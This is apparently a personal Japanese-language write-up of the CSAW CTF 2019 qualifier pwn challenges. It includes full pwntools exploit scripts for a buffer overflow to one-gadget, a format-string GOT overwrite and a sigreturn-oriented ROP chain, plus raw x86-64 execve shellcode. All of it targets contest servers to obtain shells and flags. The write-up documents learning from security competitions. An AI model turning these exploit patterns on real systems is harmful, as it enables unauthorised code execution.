CSAW CTF 2019 Quals writeup
CSAW CTF 2019 Quals writeup
いつもどおり yharima で参加…と思いきや一人でした.
久々の CTF だったのと,人も集まらなかったのでぬるりと参加していました.
pwn にだけ手をだして 201 pts の 339th. 難しかった.
ソース: ctf_log/CSAW_CTF_2019_Quals at master · yuta1024/ctf_log · GitHub
mcgriddlev2
pwn だけといいつつ warmup だけは投げた.
flag{W3lcome_7o_CSAW_QUALS_2019!}
baby_boi
繋ぎにいくと何かのアドレスを教えてくれる.しかも懇切丁寧にソースコードもある.
ソースを読むとどうやら printf
のアドレスを表示しているらしい.
そのあと露骨に BOF の脆弱性がある gets
が実行されてプログラムが終了する.
libc も付属しているので printf
のアドレスから libc の base アドレスを求める.
あとは one-gadget のアドレスを探索して BOF + one-gadget のアドレスでシェルが立ち上がる.
前回5時間溶かしたので今回はしっかり経験を活かした.
flag{baby_boi_dodooo_doo_doo_dooo}
from pwn import * context.arch = 'amd64' con = remote('pwn.chal.csaw.io', 1005) con.recvline() msg = con.recvline().strip() print msg libc_base_addr = int(msg[13:], 16) - 0x064e80 print "[+] libc_base_addr = 0x%x" % libc_base_addr payload = 'A' * 40 payload += pack(libc_base_addr + 0x4f322) con.sendline(payload) con.interactive()
gotmilk
名前からして露骨に GOT overwrite をする問題だから format string の脆弱性があるんだろうと予想する.
%x
とか食わしてみると予想通りアドレスが表示されるので GOT overwrite すればいい.
何をどう上書きするかについては lose
という関数の GOT を win
に書き換えればいい.
win
は 0x1189
で lose
は 0x11f8
なので libmylib.so
がどこのアドレスにリンクされるかの興味は一切なく,
末尾の 0xf8
を 0x89
に書き換えればいい.leak させる必要もない.hhn
でやる.
flag{y0u_g00000t_mi1k_4_M3!?}
from pwn import * context.arch = 'i386' con = remote('pwn.chal.csaw.io', 1004) con.recvregex('GOT milk\? ') con.sendline(pack(0x804a010) + '%133c%7$hhn%7$s') print con.recvline().strip()[13:].encode('hex') print con.recvall()
Twitch plays shellcode
正気度を疑う問題.x86_64 のシェルコードを twtich のチャットから入力して実行させる問題.
ただしどの行のどの列をどの値にするかはすべてチャット参加者の投票で決まる.なのでもちろん妨害もされる.
しばらく眺めていると結構いい感じに進んでいるタイミングを発見.結局色々あって2時間くらいかかっていた.
途中状況がわかってない人や荒らしっぽい人が入ってきてマジギレしてる人とかいて殺伐としていた.問題としてどうなのか….
最終的に実行されたシェルコードは以下だったはず.
\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00\x53\x48\x89\xe7\x68\x2d\x63\x00\x00\x48\x89\xe6\x52\xe8\x1a\x00\x00\x00\x63\x61\x74\x20\x2f\x68\x6f\x6d\x65\x2f\x74\x77\x69\x74\x63\x68\x2f\x66\x6c\x61\x67\x2e\x74\x78\x74\x00\x56\x57\x48\x89\xe6\x0f\x05
最終的にフラグは以下.
flag{https://www.youtube.com/watch?v=pGFGD5pj03M}
small_boi
コンテスト中は解けなくて後から解いた.
すごい小さく dynamic link もしてないバイナリ.libc はないが syscall はいくつかある.
BOF があるので ROP してなんとかすればいいんじゃないかと思い試行錯誤するも敗北.
pop eax
はあるので任意の syscall は呼び出せる,でも rdi をセットできない.
/bin/sh
はなぜか strings すると以下のようにあるのでほんと rdi だけセットできれば勝てる.
(1ca
だが調べてみると 0x400000 が base になるらしいのでそれを足した 0x4001ca
が /bin/sh
のアドレス).
$ strings -tx ./small_boi | grep /bin/sh 1ca /bin/sh
ここから無限に迷走して終了した.
どうも Sigreturn-oriented Programming(SROP) 問題だったらしい.
sigreturn 命令は確かに ropgadget の中にあった.
0x00400180: mov eax, 0x0000000F ; syscall ; (1 found)
こいつを呼び出すとレジスタを任意の値にセットでき,そこでセットした rip から処理が続行されるらしい.
詳しい解説は SROP などで調べてください.
なのでやることは以下.
- BOF させて 0x400180 の sigreturn を実行
- rax に execve の syscall 番号 0x3b をセット
- rdi に
/bin/sh
のアドレス0x4001ca
をセット - rip に 上記でセットしたレジスタ状態で syscall を呼びたいので syscall のアドレスをセット(どれでもいい)
するとシェルがあがる(以下はローカルで動作確認した).
from pwn import * context.arch = 'amd64' # con = remote('pwn.chal.csaw.io', 1002) con = remote('192.168.10.66', 11002) payload = 'A' * 40 payload += pack(0x400180) frame = SigreturnFrame() frame.rax = 0x3b frame.rdi = 0x4001ca frame.rip = 0x400185 payload += str(frame) con.sendline(payload) con.interactive()
まとめ
Twitch の問題はいくらなんでも厳しすぎると思った.
そして SROP 知らないのダメダメですね….もっと勉強しなければ….